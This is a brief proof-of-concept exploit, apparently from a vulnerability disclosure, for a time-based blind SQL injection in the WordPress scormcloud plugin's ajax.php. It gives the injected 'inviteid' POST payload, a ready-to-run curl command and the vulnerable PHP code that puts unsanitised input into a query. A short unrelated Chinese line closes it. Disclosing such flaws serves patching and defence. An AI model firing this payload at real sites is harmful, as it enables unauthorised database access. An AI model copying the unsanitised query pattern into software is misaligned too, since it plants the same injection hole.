--------------- PoC (POST data) --------------- http://www.xxx.com/wp-content/plugins/scormcloud/ajax.php action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 e.g.: curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php --------------- Vulnerable code --------------- $action = $_POST['action']; switch($action) { ... $inviteId = $_POST['inviteid']; $querystr = "SELECT * FROM ".scormcloud_getDBPrefix()."scormcloudinvitations WHERE invite_id = '$inviteId'"; $invites = $wpdb->get_results($querystr, OBJECT);
一直在关注 从未离开